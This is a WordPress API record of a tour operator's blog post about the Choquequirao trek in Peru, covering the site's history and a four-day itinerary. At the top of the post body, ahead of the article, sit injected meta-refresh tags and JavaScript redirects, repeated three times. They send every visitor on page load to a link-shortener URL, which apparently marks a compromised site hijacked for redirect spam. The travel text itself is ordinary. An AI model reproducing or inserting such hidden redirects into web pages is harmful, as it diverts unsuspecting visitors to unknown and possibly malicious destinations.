{"id":6216,"date":"2025-05-29T09:23:39","date_gmt":"2025-05-29T14:23:39","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=6216"},"modified":"2025-06-06T11:16:16","modified_gmt":"2025-06-06T16:16:16","slug":"choquequirao-trek-all-you-need-to-know","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/choquequirao-trek-all-you-need-to-know\/","title":{"rendered":"Choquequirao Trek: All You Need to Know"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>If you want to explore more of Peru beyond Machu Picchu, consider the <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/choquequirao\">Choquequirao<\/a><\/strong> ancient ruins. Known as the &#8220;Cradle of Gold,&#8221; Choquequirao offers an adventurous alternative to Machu Picchu.<\/p>\n\n\n\n<p>We recommend undertaking it standalone due to its challenging nature. This site is set in a stunning natural environment, surrounded by towering mountains and lush vegetation.<\/p>\n\n\n\n<p>Often compared to <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\">Machu Picchu<\/a><\/strong> for its similar architecture and layout, Choquequirao remains one of the most well-preserved archaeological sites, as it was never discovered by Spanish colonizers. <\/p>\n\n\n\n<p>Many people believe that it was the last Inca refuge during the colonization. Although this trek is demanding, for those seeking adventure and a deeper dive into Inca history, Choquequirao will become a rewarding experience.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">A Glance at Choquequirao<\/h2>\n\n\n\n<p>Choquequirao, located in the La Convenci\u00f3n region, north of the Apurimac River. This area is a remote Inca site accessible only on foot through steep terrain and lush forests. <\/p>\n\n\n\n<p>Believed to have been commissioned by Inca Pachacutec and expanded by his son Tupac Yupanqui, Choquequirao served as a cultural, religious, and residential center, providing access to the Amazon and Cusco.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Some ruins in Choquequirao, above there's a hill and some people on it\" class=\"wp-image-15011\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158644218_cb1c91491c_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>As the Spanish colonized Peru, Choquequirao possibly became a last refuge for the Incas. Rediscovered in 1710 by Spanish explorer Juan Arias D\u00edaz Topete and documented in 1768 by Cosme Bueno.<\/p>\n\n\n\n<p> Since then, Choquequirao remained obscure until Hiram Bingham encountered it on his way to Machu Picchu. Today, only 30% of Choquequirao&#8217;s 1,810 hectares have been excavated, revealing impressive Inca architecture.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About the Trek to Choquequirao<\/h2>\n\n\n\n<p>As we mentioned at the beginning of this blog, the Choquequirao Trek is definitely challenging despite going through lower-altitude locations in comparison to the<strong> <a aria-label=\"Classic Inca Trail (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/inca-trail\/route\/classic-inca-trail-4d-3n\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">Classic Inca Trail<\/a><\/strong> or the<strong> <a aria-label=\"Salkantay Trek (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/salkantay-trek\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">Salkantay Trek<\/a><\/strong>.<\/p>\n\n\n\n<p>That\u2019s because the trail is significantly tricky, with pronounced ups and downs on the way to the ruins and on the way back. The 4-day trek will take you on a 1,500m descent into the Apurimac valley, followed by a 1,800m climb.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Some stairs in Choquequirao huge circuit\" class=\"wp-image-15012\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/5158113108_c44baee429_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Therefore, completing this trek is all about mental and physical preparation. So if you\u2019re eager to visit this wonder of the ancient world, it would be best if you upped your current training routine.<\/p>\n\n\n\n<p> Although the trail isn\u2019t as challenging as the Inca Trail, we have made a preparation guide that might work for this trek as well.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Choquequirao: 4-Day Trek Itinerary<\/h2>\n\n\n\n<p>Most treks to Choquequirao start from Cachora or the Capuliyoc Viewpoint, though we believe that it would be best if you start from the viewpoint, as you would skip an unnecessary part of the trail by car, which will allow you to save time and rest longer.<\/p>\n\n\n\n<p>Another point to highlight is that, unlike the Inca Trail to Machu Picchu, you won\u2019t need to get a special permit to explore this route, and a guide isn\u2019t mandatory either. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=697%2C464&#038;ssl=1\" alt=\"A drone picture to see how huge Choquequirao is.\" class=\"wp-image-15013\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=1536%2C1023&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/2447772109_e6fb9ed257_o.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>However, due to the difficulty of the trek, we highly recommend going with a<strong> <a aria-label=\"specialized travel operator (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/faqs\/viagens-machu-picchu-faqs\" target=\"_blank\" rel=\"noreferrer noopener\">specialized travel operator<\/a> <\/strong>to avoid any inconvenience. Prepare yourself for an amazing adventure through the Andes and the cloud forest. <\/p>\n\n\n\n<p>Here you\u2019ll get to cross several ecosystems and other beautiful settings in Peru. With nothing more to add, here\u2019s the 4-day trek itinerary to Choquequirao:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Day 01 | Cusco &#8211; Capuliyoc &#8211; Santa Rosa<\/strong><\/h3>\n\n\n\n<p>The starting point of the adventure will be Cusco, where you should depart between 04:30 and 05:00 a.m. to save some time to complete the first-day hike. <\/p>\n\n\n\n<p>You\u2019ll be headed to Capuliyoc, and on the way,  you\u2019ll be mesmerized by the impressive scenery of the Andes, where the towering Salkantay and Humantay snow-capped mountains will welcome you.<\/p>\n\n\n\n<p>Once in Capuliyoc, make sure to have a hearty breakfast to get all energized for today\u2019s adventure. If you decide to travel with a tour operator, this will be the place where you\u2019ll get to meet the porters and cooks who will accompany you along the trail.<\/p>\n\n\n\n<p> Remember, it\u2019s best to start the trek from the Capuliyoc viewpoint; that way, you will have more time to explore and take in the awe-inspiring surroundings.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"467\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=697%2C467&#038;ssl=1\" alt=\"The breathtaking view from Capulioc vuewpoint\" class=\"wp-image-15014\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=1024%2C686&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=768%2C515&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=1536%2C1029&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/25171223869_543a1cdb5d_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Usually, the first part of this hike takes about 3 hours of a downhill walk through the Apurimac canyon until Chiquisca, a paid campsite with basic toilet and shower facilities, as well as cooked food for purchase. <\/p>\n\n\n\n<p>After your well-deserved lunch break, you\u2019ll continue descending to the Apurimac River, which comprises class V rapids suitable for canoeing or rafting. <\/p>\n\n\n\n<p>After two hours, you\u2019ll get to Santa Rosa, located at 1,970 meters above sea level, which will be your campsite for the night.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Difficulty:<\/strong> Moderate to Challenging.<\/li>\n\n\n\n<li><strong>Walking Distance:<\/strong> 13 km approx.<\/li>\n\n\n\n<li><strong>Walking Time: <\/strong>6 &#8211; 7 hours.<\/li>\n\n\n\n<li><strong>Max. Altitude:<\/strong> 2,890 m.a.s.l.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Day 02 | Santa Rosa &#8211; Choquequirao<\/strong><\/h3>\n\n\n\n<p>Mentally prepare yourself since this will be the most challenging part of the trail, since you\u2019ll take a 3-hour uphill walk towards Marampata, another paid campsite with basic facilities and food to buy. <\/p>\n\n\n\n<p>It would be best to start early in the morning, around 5:30 a.m., so you can have some time off to rest and potentially visit Choquequirao.<\/p>\n\n\n\n<p>Once you get to Marampata, take some time to appreciate the sheer drops of the canyon and the snow-capped mountains that surround it. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Traveler packing his stuff in Santa Rosa\" class=\"wp-image-15015\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/22402031820_d7682895bf_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Remember that you can buy food there, just in case you\u2019re doing the trek on your own. However, most tour operators include lunch at the campsite near Choquequirao.<\/p>\n\n\n\n<p>After your well-deserved break, you\u2019ll descend to the Choquequirao campsite, and if you arrive early, you can visit the ruins before nightfal,l or you can just wait for the next day to explore the site calmly.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Difficulty:<\/strong> Challenging.<\/li>\n\n\n\n<li><strong>Walking Distance:<\/strong> 9.5 km approx.<\/li>\n\n\n\n<li><strong>Walking Time: <\/strong>6 hours approx.<\/li>\n\n\n\n<li><strong>Max. Altitude:<\/strong> 3,050 m.a.s.l.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Day 03 | Choquequirao &#8211; Playa Rosalina or Chiquisca<\/strong><\/h3>\n\n\n\n<p>Start early in the morning and catch the first light of the day at Machu Picchu\u2019s Sacred Sister. The Choquequirao Archeological Site is significantly bigger than the Inca citadel, though only 30% of it is fully excavated. <\/p>\n\n\n\n<p>One of the reasons to visit this outstanding Inca structure on a guided tour is that it will be much easier to understand the history and purpose of the place.<\/p>\n\n\n\n<p>That way, you\u2019ll get to know everything about Choquequirao and the Incas. The so-called Cradle of Gold comprises several plazas, temples, warehouses, and agricultural terraces. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Part of the Choquequirao Trek on the second day. \" class=\"wp-image-6843\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/2222.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Part of the Choquequirao Trek on the second day. <\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>There&#8217;s so much to explore on this site, so make sure to take some time to discover every single detail of it. Afterward, you can have a lunch break around 12 pm to later continue back to Playa Rosalina or Chiquisca.<\/p>\n\n\n\n<p>We\u2019ll leave that totally up to you since the trek could be long, but not as strenuous as on the way to the ruins. Nonetheless, we recommend going all the way to Chiquisca campsite so you don\u2019t have to walk that long on your last day.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Difficulty:<\/strong> Moderate to Challenging.<\/li>\n\n\n\n<li><strong>Walking Distance:<\/strong> 14.5 km approx. (Choquequirao &#8211; Chiquisca)<\/li>\n\n\n\n<li><strong>Walking Time: <\/strong>7 hours approx.<\/li>\n\n\n\n<li><strong>Max. Altitude:<\/strong> 3,050 m.a.s.l.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Day 04 | Chiquisca &#8211; Capuliyoc &#8211; Cusco<\/strong><\/h3>\n\n\n\n<p>Remember, you can buy breakfast in either Chiquisca or Playa Rosalina campsites. If you\u2019re traveling with a tour operator, then you won\u2019t need to worry about food since they usually include this in the itinerary.<\/p>\n\n\n\n<p>After an energizing breakfast and a warm cup of tea, you\u2019ll start the trek back to the Capuliyoc viewpoint. It will be a nice walk along the side of the canyon, though it finishes with the series of sharp switchbacks that you started with on the first day.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Chiquisca, a beautiful landscape with hills and threes.\" class=\"wp-image-15016\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/07\/52426205248_a5ba6b5100_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Once in Capuliyoc, you can decide to walk down to Cachora town or simply take a taxi from the Mirador. If traveling with a tour operator, they can pick you up from there and take you straight to Cusco.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>As you can see, the trek is definitely not an easy hike, so comfort and safety should be your #1 priority. If you\u2019d like to join a guided trek to Choquequirao, <a aria-label=\"contact our travel agents for more information (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>contact<\/strong><\/a> our travel agents for more information.<\/p>\n\n\n\n<p>If you\u2019re looking for something exciting to do on your trip, here\u2019s a list of <a aria-label=\"here\u2019s a list of the best treks in Peru (opens in a new tab)\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-treks-in-peru-that-you-cant-miss\/\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>the best treks in Peru<\/strong><\/a>, where you\u2019ll pass by the sweeping views of the Andes before reaching several archeological sites or natural wonders.<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Choquequirao is one of the most impressive and significant findings of the ancient world of the Incas, and here you&#8217;ll learn everything about getting there!<\/p>\n","protected":false},"author":1,"featured_media":6218,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[197,206,194],"tags":[5440,2454,5438,2033,3082,5437,547,1605,2638,5435,5439,5441,5442,5436,214],"class_list":["post-6216","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adventures","category-cusco","category-destinations","tag-apurimac-canyon","tag-apurimac-river","tag-capuliyoc-viewpoint","tag-choquequirao","tag-choquequirao-trek","tag-cradle-of-gold","tag-hiram-bingham","tag-inca-citadel","tag-inca-pachacutec","tag-inca-refuge","tag-la-convencion-region","tag-marampata","tag-sacred-sister","tag-tupac-yupanqui","tag-viagens-machu-picchu"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/choquequirao-trek.jpg?fit=1300%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-1Cg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=6216"}],"version-history":[{"count":8,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6216\/revisions"}],"predecessor-version":[{"id":16071,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6216\/revisions\/16071"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/6218"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=6216"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=6216"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=6216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}